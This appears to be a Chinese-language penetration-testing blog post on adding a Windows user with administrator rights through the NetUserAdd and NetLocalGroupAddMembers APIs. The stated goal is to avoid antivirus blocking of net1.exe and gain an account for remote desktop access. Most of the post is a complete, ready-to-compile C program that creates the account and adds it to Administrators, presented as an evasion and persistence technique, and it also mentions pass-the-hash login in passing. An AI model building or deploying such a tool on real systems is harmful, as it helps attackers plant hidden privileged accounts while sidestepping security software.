通过API添加Windows用户

简介

在渗透测试过程中，如果需要白利用远程桌面等服务，往往我们还需要一个知道密码的windows账户，而这个账户通常直接由net1.exe直接添加(当然也可以直接pass the hash登录rdp，略略略)，而调用这个可执行文件往往会被第三方杀软直接拦截（略略略，defender是微软自己的，不拦合法功能），这样我们就需要想另外的办法添加用户。

分析过程

1. 查文档&google(狗头)

1. 调用NetUserAdd添加本地用户

2. 调用NetLocalGroupAddMembers将用户添加到组

代码

微软文档解释了这个如何通过这个函数来添加操作系统账户，第一个参数servername指定了需要添加用户的主机名，传入NULL则为本地添加，第二个参数决定了第三个参数传入的结构体，通过这个函数我们可以在windows操作系统上添加账户。

NET_API_STATUS NET_API_FUNCTION NetUserAdd(
  LPCWSTR servername,
  DWORD   level,
  LPBYTE  buf,
  LPDWORD parm_err
);

Value	Meaning
1	Specifies information about the user account. The buf parameter points to a USER_INFO_1 structure. When you specify this level, the call initializes certain attributes to their default values. For more information, see the following Remarks section.
2	Specifies level one information and additional attributes about the user account. The buf parameter points to a USER_INFO_2 structure.
3	Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a USER_INFO_3 structure. Note that it is recommended that you use USER_INFO_4 instead.
4	Specifies level two information and additional attributes about the user account. This level is valid only on servers. The buf parameter points to a USER_INFO_4 structure. Windows 2000: This level is not supported.

同理将该账户加入administrators组也是使用类似的函数，这里就不贴参数了。

NET_API_STATUS NET_API_FUNCTION NetLocalGroupAddMembers(
  LPCWSTR servername,
  LPCWSTR groupname,
  DWORD   level,
  LPBYTE  buf,
  DWORD   totalentries
);

完整代码

#ifndef UNICODE
#define UNICODE
#endif
#pragma comment(lib, "netapi32.lib")

#include <stdio.h>
#include <windows.h> 
#include <lm.h>

int wmain(int argc, wchar_t* argv[])
{
    USER_INFO_1 ui;
    DWORD dwLevel = 1;
    DWORD dwError = 0;
    NET_API_STATUS nStatus;

    if (argc != 3)
    {
        
        fwprintf(stderr, L"Usage:./this.exe <username> <password>\n", argv[0]);
        exit(1);
    }

    ui.usri1_name = argv[1];
    ui.usri1_password = argv[2];
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;

    nStatus = NetUserAdd(NULL,
        dwLevel,
        (LPBYTE)&ui,
        &dwError);

    if (nStatus == NERR_Success)
        fwprintf(stderr, L"User %s has been successfully added\n",argv[1]);

    else
        fprintf(stderr, "A system error has occurred: %d\n", nStatus);

    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = argv[1];

    NET_API_STATUS Status = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);

    if (Status == NERR_Success || Status == ERROR_MEMBER_IN_ALIAS){
        printf("Administrators added Successfully!");
    }
    else {
        printf("Administrators added Failed!");
    }
    return 0;
}

LINKS

NetLocalGroupAddMembers function (lmaccess.h) - Win32 appsdocsmsft

NetUserAdd function (lmaccess.h) - Win32 appsdocsmsft